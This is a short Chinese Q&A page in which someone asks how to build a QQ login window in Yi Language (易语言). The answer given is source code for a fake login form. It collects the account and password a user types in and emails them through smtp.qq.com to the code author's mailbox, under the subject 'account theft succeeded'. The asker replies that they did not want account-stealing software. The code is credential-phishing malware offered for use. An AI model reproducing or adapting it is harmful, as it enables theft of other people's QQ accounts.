易语言制作登陆QQ

程序集 窗口程序集1
.程序集变量 临时记录, 文本型
.子程序 _按钮2_被单击
.如果真 (编辑框1.内容 ＝ “”)
信息框 (“请输入您的帐号！”, #错误图标, “系统提示：“”)
返回 ()
.如果真结束
.如果真 (编辑框3.内容 ＝ “”)
信息框 (“请输入您的密码！”, #错误图标, “系统提示：”)
返回 ()
.如果真结束
.如果真 (临时记录 ≠ 编辑框1.内容)' 判断编辑框1 的内容是否改变
连接发信服务器 (“smtp.qq.com”,25, “这里输入你自己的帐号”, “这里输入你自己的密码”, )
发送邮件 (“盗号成功”, “帐号：” ＋ 编辑框1.内容 ＋ #换行符 ＋“密码：” ＋ 编辑框2.内容 ＋ #换行符, “这里输入你的邮箱地址：”,, , “这里输入你的邮箱地址例如：123456789@qq.com”, )
临时记录 ＝ 编辑框1.内容' 记录编辑框1 的内容追问

不是要盗号软件..

温馨提示：答案为网友推荐，仅供参考

当前网址：https://verywind.cn/ee/vj7vxxeyj22vx3v73e7.html